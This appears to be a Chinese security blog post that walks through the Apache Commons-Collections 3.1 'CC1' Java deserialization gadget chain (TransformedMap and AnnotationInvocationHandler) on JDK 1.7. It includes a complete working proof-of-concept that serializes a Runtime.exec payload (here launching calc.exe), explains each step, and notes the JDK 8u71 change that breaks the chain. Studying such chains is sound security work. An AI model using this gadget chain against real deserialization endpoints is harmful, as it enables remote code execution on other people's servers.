[Java安全]CommonCollections1_TransformedMap链

CommonCollections1_TransformedMap

本机环境:

JDK版本:jdk1.7u_51

CC版本:Commons-Collections 3.1

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, outerMap);

        FileOutputStream f = new FileOutputStream("payload.bin");
        ObjectOutputStream fout = new ObjectOutputStream(f);
        fout.writeObject(instance);

        FileInputStream fi = new FileInputStream("payload.bin");
        ObjectInputStream fin = new ObjectInputStream(fi);

        fin.readObject();
    } }

分析

Transformer数组构造

InvokerTransformer类是执行恶意代码的核心类

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);  
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

它的transform方法存在反射调用,当输入参数可控,就可以利用它来执行命令

例如:

public class cc1_test {
    public static void main(String[] args) {
        Runtime runtime = Runtime.getRuntime();
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
    }
}

相当于执行了

Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")

这里需要注意的是invoke方法

invoke

  1. invoke调用普通方法时,传入的必须是实例化后的类
  2. invoke调用静态方法时,传入类即可
 public static Runtime getRuntime() {
        return currentRuntime;
    }

这里利用调用静态方法getRuntime返回一个实例化后的Runtime,然后传入InvokerTransformer中的transform方法中

我们看到这一部分的POC

   Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };
        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

其中ConstantTransformer类的transform方法会直接返回构造函数中传入的对象

由于反序列化中是将构造好的单个对象进行序列化发送到后端,我们还需要将两个类串联起来

ChainedTransformer能将实现了Transformer接口的类进行串联,并且依次调用其中的transform方法传递给下一个元素

接下来解释一下构造的 transformers数组:

constant
new ConstantTransformer(Runtime.class)

ConstantTransformer.transform会直接返回构造函数中传入的Runtime类(java.lang.Runtime),并且作为input传入InvokerTransformer的transform方法中

Invoker1
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] })

利用反射获取java.lang.Class中的getMethod方法,然后利用获取到的getMethod方法获取我们传入的Runtime类中的getRuntime方法,类型为Method (java.lang.reflect.Method)ConstantTransformer返回的Runtime类作为input传入InvokerTransformer.transform方法

由于这里是获取静态方法getRuntime,所以在使用invoke的时候只需要传入类即可

new Class[0] 在这里是占位符号,由于getRuntime函数不需要传入参数所以这里改为null也可以

为什么占位符是 new Class[0] 呢? 因为这里是通过getMethod来获取getRuntime方法的,所以我们这里需要满足getMethod传入的参数类型要求。

Invoker2
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] })

由于传入的是Method对象,所以这里getClass获取java.lang.reflect.Method(当前对象的类),利用反射获取Method类中的invoke方法,然后利用获取到的invoke方法执行前面获取到的getRuntime静态方法,从而返回Runtime对象

Invoker3
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})

Runtime实例作为输入,getClass获取到Runtime类(当前对象所在的类),然后利用反射获取Runtime类中的exec方法,最后利用invoke调用,此时invoke传入的input为Runtime对象,iArgs为我们要执行的命令

关于反射

需要注意的是反射问题,当我们利用如下代码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.InvocationTargetException;

public class cc1_test {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(111);
        
        FileOutputStream fileOutputStream = new FileOutputStream("evil.bin");
        ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
        outputStream.writeObject(chainedTransformer);

        Object obj = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
        chainedTransformer.transform(obj);
    }
}

运行发现能成功弹出计算器但是会报错,提示Runtime类无法进行序列化:

image-20220305133504570

Java中不是所有对象都支持序列化,待序列化的对象和所有它使用的内部属性对象,必须都实现了java.io.Serializable 接口。如果我们传给ConstantTransformer的是Runtime.getRuntime(),Runtime类是没有实现java.io.Serializable接口的,所以不允许被序列化

TransformedMap的利用

接下来是:

 //创建Map并绑定transformerChain
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //给予map数据转化链
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

经过前面的构造,达成反序列化则需要

  1. 服务端反序列化我们的输入成ChainedTransformer类型
  2. 调用这个输入的transform()函数

显然此时利用条件是很困难的,这时候需要利用到 TransformedMap ,TransformedMap会对Map进行一个修饰,被修饰之后的map会在添加新元素之后进行一个回调,能分别对key和value进行修饰,当调用put方法时会调用decorate方法中传入类的transformer方法,从而进行触发decorate将chainedTransformer传递给构造函数

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

AnnotationInvocationHandler

此时触发漏洞需要服务端把我们传入的序列化内容反序列化为map,并对值进行修改。但是反序列化攻击最好是客户端执行readObject就直接触发执行命令

最后一部分POC:

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        //取消构造函数修饰符限制
        ctor.setAccessible(true);
        //获取AnnotationInvocationHandler类实例
        Object instance = ctor.newInstance(Target.class, outerMap);

在jdk 1.7 中有一个存在一个可利用的readObject点 sun.reflect.annotation.AnnotationInvocationHandler

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        this.type = var1;
        this.memberValues = var2;
    }

我们先来看这个AnnotationInvocationHandler的构造函数,发现构造函数会将我们传入的Map类型的参数赋值给memberValues属性

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    	//默认反序列化
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            //this.type是我们在实例化的时候传入的jdk自带的Target.class
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator(); //获取我们构造map的迭代器

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

接下来我们来看readObject方法,发现会遍历我们的memberValues,memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的Transform,进而执行我们为其精心设计的任意代码。

jdk 高版本的限制

在Java 8u71之后代码发生了变动。

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        GetField var2 = var1.readFields();
        Class var3 = (Class)var2.get("type", (Object)null);
        Map var4 = (Map)var2.get("memberValues", (Object)null);
        AnnotationType var5 = null;

        try {
            var5 = AnnotationType.getInstance(var3);
        } catch (IllegalArgumentException var13) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var6 = var5.memberTypes();
        LinkedHashMap var7 = new LinkedHashMap();

        String var10;
        Object var11;
        for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
            Entry var9 = (Entry)var8.next();
            var10 = (String)var9.getKey();
            var11 = null;
            Class var12 = (Class)var6.get(var10);
            if (var12 != null) {
                var11 = var9.getValue();
                if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                    var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
                }
            }
        }
...
}

改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行set或put操作,也就不会触发RCE了。

参考文章:

http://wjlshare.com/archives/1498

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值